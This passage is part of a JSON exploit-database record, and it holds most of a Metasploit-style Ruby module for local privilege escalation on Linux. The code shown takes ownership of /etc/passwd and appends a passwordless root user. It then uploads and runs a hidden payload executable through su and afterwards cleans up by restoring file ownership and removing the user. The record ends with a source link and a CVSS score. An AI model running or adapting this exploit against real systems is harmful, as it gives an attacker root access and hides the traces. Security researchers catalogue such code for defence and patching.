#{@chown_file}\", nil, timeout\r\n output.each_line { |line| vprint_status line.chomp }\r\n\r\n # Check if we own /etc/passwd\r\n unless cmd_exec(\"[ -w #{@chown_file} ] && echo true\").include? 'true'\r\n fail_with Failure::Unknown, \"Failed to own '#{@chown_file}'\"\r\n end\r\n\r\n print_good \"Success! '#{@chown_file}' is writable\"\r\n\r\n # Add new user with no password\r\n print_status \"Adding #{@username} user to #{@chown_file} ...\"\r\n cmd_exec \"echo '#{@username}::0:0::/root:/bin/bash' >> #{@chown_file}\"\r\n\r\n # Upload payload executable\r\n payload_path = \"#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}\"\r\n upload_and_chmodx payload_path, generate_payload_exe\r\n\r\n # Execute payload executable\r\n vprint_status 'Executing payload...'\r\n cmd_exec \"/bin/bash -c \\\"echo #{payload_path} | su - #{@username}&\\\"\"\r\n end\r\n\r\n def on_new_session(session)\r\n if session.type.to_s.eql? 'meterpreter'\r\n session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'\r\n end\r\n\r\n # Reinstate /etc/passwd root ownership and remove new user\r\n root_owns_passwd = false\r\n new_user_removed = false\r\n\r\n if session.type.to_s.eql? 'meterpreter'\r\n # Reinstate /etc/passwd root ownership\r\n session.sys.process.execute '/bin/sh', \"-c \\\"chown root:root #{@chown_file}\\\"\"\r\n\r\n # Remove new user\r\n session.sys.process.execute '/bin/sh', \"-c \\\"sed -i 's/^#{@username}:.*$//g' #{@chown_file}\\\"\"\r\n\r\n # Wait for clean up\r\n Rex.sleep 5\r\n\r\n # Check root ownership\r\n passwd_stat = session.fs.file.stat(@chown_file).stathash\r\n if passwd_stat['st_uid'] == 0 && passwd_stat['st_gid'] == 0\r\n root_owns_passwd = true\r\n end\r\n\r\n # Check for new user in /etc/passwd\r\n passwd_contents = session.fs.file.open(@chown_file).read.to_s\r\n unless passwd_contents.include? \"#{@username}:\"\r\n new_user_removed = true\r\n end\r\n elsif session.type.to_s.eql? 'shell'\r\n # Reinstate /etc/passwd root ownership\r\n session.shell_command_token \"chown root:root #{@chown_file}\"\r\n\r\n # Remove new user\r\n session.shell_command_token \"sed -i 's/^#{@username}:.*$//g' #{@chown_file}\"\r\n\r\n # Check root ownership\r\n passwd_owner = session.shell_command_token \"ls -l #{@chown_file}\"\r\n if passwd_owner.to_s.include? 'root'\r\n root_owns_passwd = true\r\n end\r\n\r\n # Check for new user in /etc/passwd\r\n passwd_user = session.shell_command_token \"grep '#{@username}:' #{@chown_file}\"\r\n unless passwd_user.to_s.include? \"#{@username}:\"\r\n new_user_removed = true\r\n end\r\n end\r\n\r\n unless root_owns_passwd\r\n print_warning \"Could not reinstate root ownership of #{@chown_file}\"\r\n end\r\n\r\n unless new_user_removed\r\n print_warning \"Could not remove user '#{@username}' from #{@chown_file}\"\r\n end\r\n rescue => e\r\n print_error \"Error during cleanup: #{e.message}\"\r\n ensure\r\n super\r\n end\r\nend", "sourceHref": "https://www.exploit-db.com/download/44097", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}]}